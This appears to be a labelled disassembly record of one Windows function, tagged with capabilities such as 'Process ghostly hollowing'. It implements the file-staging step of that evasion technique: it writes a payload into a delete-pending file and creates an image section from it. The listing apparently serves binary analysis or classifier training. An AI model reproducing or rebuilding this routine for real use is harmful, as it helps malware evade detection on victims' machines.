Function at 0x1400010f0
Capabilities:
Process ghostly hollowing
Terminate process
Write file on windows

Disassembly:
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xc0
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rbp + 0x1f], rax
mov r12, rcx
xor r13d, r13d
xorps xmm0, xmm0
mov qword [rbp - 0x49], r13
lea rcx, str.ntdll.dll
mov qword [rbp - 0x41], r13
movups xmmword [rbp - 1], xmm0
mov r15, rdx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtOpenFile
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
test rax, rax
jne 0x140001169
lea rcx, str.____Unable_To_Found_API_NtOpenFile..._n
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
lea ecx, [r13 - 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.ntdll.dll
mov qword [rsp + 0xb8], rsi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.RtlInitUnicodeString
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rax, rax
jne 0x1400011ad
lea rcx, str.____Unable_To_Found_API_RtlInitUnicodeString..._n
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
lea ecx, [rsi - 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.ntdll.dll
mov qword [rsp + 0x100], rbx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtSetInformationFile
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
jne 0x1400011f1
lea rcx, str.____Unable_To_Found_API_NtSetInfromationFile..._n
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
lea ecx, [rbx - 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.ntdll.dll
mov qword [rsp + 0xb0], rdi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtCreateSection
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
jne 0x140001235
lea rcx, str.____Unable_To_Found_API_NtCreateSection..__n
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
lea ecx, [rdi - 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rdx, r12
lea rcx, [rbp + 0xf]
call rsi
lea rax, [rbp + 0xf]
mov dword [rbp - 0x39], 0x30
xorps xmm0, xmm0
mov qword [rbp - 0x29], rax
lea rcx, str.___Opening_The_File..._n
mov qword [rbp - 0x31], r13
movdqu xmmword [rbp - 0x19], xmm0
mov dword [rbp - 0x21], 0x40
call fcn.140001010
lea r9, [rbp - 1]
mov dword [rsp + 0x28], 0x20
lea r8, [rbp - 0x39]
mov dword [rsp + 0x20], 3
mov edx, 0xc0110000
lea rcx, [rbp - 0x49]
call r14
test eax, eax
je 0x1400012ad
lea rcx, str.____Error_Opening_File..._n
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.___Putting_File_Into_Delete_Pending_State..._n
call fcn.140001010
mov rcx, qword [rbp - 0x49]
lea r8, [rbp - 9]
mov r9d, 1
mov byte [rbp - 9], 1
lea rdx, [rbp - 1]
mov dword [rsp + 0x20], 0xd
call rbx
test eax, eax
je 0x1400012f6
lea rcx, str.____Error_setting_file_to_delete_pending_state..._n
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.___Writing_Payload_Into_Delete_Pending_State_File..._n
call fcn.140001010
mov rcx, qword [rbp - 0x49]
lea r9, [rbp - 5]
mov r8d, 0xae00
mov qword [rsp + 0x20], r13
mov rdx, r15
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x14000133b
lea rcx, str.____Failed_to_write_payload_to_the_file..._n
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.___Creating_Section_From_Delete_Pending_State_File..._n
call fcn.140001010
mov rax, qword [rbp - 0x49]
lea rcx, [rbp - 0x41]
mov qword [rsp + 0x30], rax
xor r9d, r9d
mov dword [rsp + 0x28], 0x1000000
xor r8d, r8d
mov edx, 0xf001f
mov dword [rsp + 0x20], 2
call rdi
test eax, eax
je 0x14000138f
mov edx, eax
lea rcx, str.____Error_creating_Section:_0x_x..._n
call fcn.140001070
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.___Section_Created_From_The_Delete_Pending_File..._n
call fcn.140001010
mov rcx, qword [rbp - 0x49]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.____File_Deleted_Successfully..._n
mov qword [rbp - 0x49], r13
call fcn.140001010
mov rax, qword [rbp - 0x41]
mov rdi, qword [rsp + 0xb0]
mov rbx, qword [rsp + 0x100]
mov rsi, qword [rsp + 0xb8]
mov rcx, qword [rbp + 0x1f]
xor rcx, rsp
call fcn.140001ef0
add rsp, 0xc0
pop r15
pop r14
pop r13
pop r12
pop rbp
ret